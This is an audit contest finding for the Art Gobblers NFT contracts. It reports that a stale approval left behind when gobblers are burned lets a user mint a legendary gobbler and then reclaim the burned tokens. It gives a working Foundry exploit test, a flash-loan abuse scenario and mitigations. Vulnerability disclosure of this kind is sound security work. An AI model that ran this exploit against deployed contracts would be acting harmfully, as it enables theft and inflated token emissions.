Art Gobblers contest - wastewa's results

Lines of code

https://github.com/code-423n4/2022-09-artgobblers/blob/d2087c5a8a6a4f1b9784520e7fe75afa3a9cbdbe/src/ArtGobblers.sol#L411-L471 https://github.com/code-423n4/2022-09-artgobblers/blob/d2087c5a8a6a4f1b9784520e7fe75afa3a9cbdbe/src/utils/token/GobblersERC721.sol#L92-L100

Vulnerability details

Impact

Users can mint legendary gobblers without actually burning their gobblers by using the GobblersERC721.approve function (to approve themselves) before minting their legendary gobbler (the burn mechanism, doesn't delete the getApproved approved entry for that gobbler).

A truly bad actor can use a flash loan, buy the necessary gobblers, mint a legendary gobbler, and take global offers for all the gobblers (including legendary, that will probably have a way higher floor).

Another impact of this is Goo emissions, the exploiter will end up with extra (ill-gotten) goo emissions if they decide to keep all their NFTs because their emissions multiple will be higher.

Proof of Concept

I slightly edited the testMintLegendaryGobbler test in ArtGobblers.t.sol to run the exploit. I added lines to preapprove the exploiter before minting the legendary, then I transfer back the gobblers after minting and check for ownership.

/// @notice Test that Legendary Gobblers can be minted, and then old gobblers can be regained
    function testMintLegendaryGobblerExploit() public {
        uint256 startTime = block.timestamp + 30 days;
        vm.warp(startTime);
        // Mint full interval to kick off first auction.
        mintGobblerToAddress(users[0], gobblers.LEGENDARY_AUCTION_INTERVAL());
        uint256 cost = gobblers.legendaryGobblerPrice();
        assertEq(cost, 69);
        setRandomnessAndReveal(cost, "seed");
        uint256 emissionMultipleSum;
        for (uint256 curId = 1; curId <= cost; curId++) {
            ids.push(curId);
            assertEq(gobblers.ownerOf(curId), users[0]);
            emissionMultipleSum += gobblers.getGobblerEmissionMultiple(curId);

            // approve self to exploit later
            vm.prank(users[0]);
            gobblers.approve(users[0], curId);
        }

        assertEq(gobblers.getUserEmissionMultiple(users[0]), emissionMultipleSum);

        vm.prank(users[0]);
        uint256 mintedLegendaryId = gobblers.mintLegendaryGobbler(ids);

        // Legendary is owned by user.
        assertEq(gobblers.ownerOf(mintedLegendaryId), users[0]);
        assertEq(gobblers.getUserEmissionMultiple(users[0]), emissionMultipleSum * 2);
        assertEq(gobblers.getGobblerEmissionMultiple(mintedLegendaryId), emissionMultipleSum * 2);

        for (uint256 i = 0; i < ids.length; i++) {
            // transfer back gobblers to user and check the exploiter owns them.
            vm.prank(users[0]);
            gobblers.transferFrom(address(0), users[0], ids[i]);
            assertEq(gobblers.ownerOf(ids[i]), users[0]);
        }
    }

Tools Used

foundry tests already found inside repo

Recommended Mitigation Steps

There are multiple ways to fix (suggest maybe doing all of them):

1. transferFrom should probably not allow from to be a zero address if doesnt need to.
2. mintLegendaryGobbler should delete the getApproved entry for the burned gobblerId